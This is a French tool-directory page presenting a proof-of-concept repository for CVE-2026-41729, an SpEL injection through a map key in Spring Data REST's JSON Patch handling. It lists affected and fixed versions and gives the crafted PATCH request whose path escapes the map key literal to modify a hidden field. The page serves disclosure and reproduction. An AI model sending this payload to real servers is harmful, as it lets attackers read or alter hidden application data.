Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Outils/GitHubGitHub/daehyuh/cve-2026-41729
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-41729: Preuve de Concept d'Injection SpEL par Clé de Map dans JSON Patch pour Spring Data REST

Ce dépôt est une Preuve de Concept (PoC) de reproduction minimale de CVE-2026-41729, divulguée via l'avis de sécurité officiel de Spring.

  • Avis officiel : https://spring.io/security/cve-2026-41729/
  • Titre officiel : Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Sévérité : Haute
  • CVSS v3.1 : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Date de divulgation : 2026-06-09

Résumé de la vulnérabilité

Spring Data REST, lors du traitement des requêtes JSON Patch (Content-Type: application/json-patch+json), injectait directement le fragment de chemin de la clé de map d'une propriété de type Map dans une expression SpEL.

Selon l'avis officiel, si une entité persistante expose une propriété de type Map et qu'un attaquant peut envoyer une requête PATCH à cette ressource d'élément, il peut manipuler le segment de clé de map pour s'échapper du littéral d'indexeur de map prévu et forcer l'évaluation d'une sous-expression SpEL dans le contexte de la racine agrégée. Il a été divulgué que les chemins de patch en lecture et en écriture sont tous deux affectés.

Cette PoC utilise le chemin de patch en écriture pour montrer qu'un champ @JsonIgnore, normalement non exposé dans une représentation REST standard, est modifié via un chemin JSON Patch contrefait.

Périmètre d'impact

Produits affectés selon l'avis officiel :

  • Spring Data REST

Versions affectées :

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Les versions antérieures non supportées peuvent également être affectées.

Versions corrigées :

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 ou 4.5.11.1
  • 5.0.6 ou 5.0.5.1

Ce que démontre cette PoC

Le test lance une application Spring Boot réelle et envoie une requête HTTP PATCH à un point de terminaison de dépôt Spring Data REST.

L'objet domaine a la structure suivante :

  • Une map people exposée à l'extérieur
  • Une map hiddenChildren présente dans chaque objet Person mais masquée dans les représentations Jackson/Spring Data REST

Dans une réponse REST normale, hiddenChildren et les valeurs qu'elle contient ne sont pas visibles.

root@kitploit:~
GET /wrappers/sample

Un JSON Patch ciblant directement la propriété masquée est rejeté.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

Cependant, en utilisant une clé de map contrefaite, on peut contourner le littéral de clé de map prévu lors de la conversion du chemin JSON Patch vers le chemin SpEL dans Spring Data REST, et atteindre le chemin de la propriété masquée.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

Avec la version vulnérable, cette requête réussit et la valeur interne est modifiée comme suit :

root@kitploit:~
before -> after

Le test confirme qu'aucune clé réelle a'].hiddenChildren['b n'a été créée dans la map, mais que la propriété masquée a été modifiée en raison de l'échappement de l'expression.

Méthode d'exécution

Windows :

root@kitploit:~
.\mvnw.cmd test

macOS/Linux :

root@kitploit:~
./mvnw test

Résultat attendu avec la version vulnérable :

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

Un succès du test signifie que "le comportement vulnérable a été reproduit". Autrement dit, avec une dépendance vulnérable, la requête JSON Patch contrefaite réussit, prouvant une modification de l'état interne masqué.

Dépendances utilisées

Ce dépôt utilise le parent Spring Boot 3.5.14. Cette combinaison résout spring-data-rest-webmvc en version 4.5.11, qui fait partie du périmètre affecté 4.5.0 - 4.5.11 de l'avis officiel.

Pourquoi c'est dangereux

Un attaquant capable d'envoyer des requêtes JSON Patch à un point de terminaison Spring Data REST peut manipuler la clé de map pour provoquer une évaluation non intentionnée de chemin SpEL côté serveur. En conséquence, des valeurs internes du graphe d'objets, que l'application ne souhaitait pas exposer via sa représentation REST, peuvent être lues ou modifiées.

L'avis officiel a évalué l'impact sur la confidentialité et l'intégrité comme étant élevé.

Crédit

L'avis officiel Spring mentionne :

  • Daehyun Kang (@daehyuh)

Liens de référence

  • Avis officiel Spring : https://spring.io/security/cve-2026-41729/
  • Calculateur CVSS : https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
Télécharger l’outil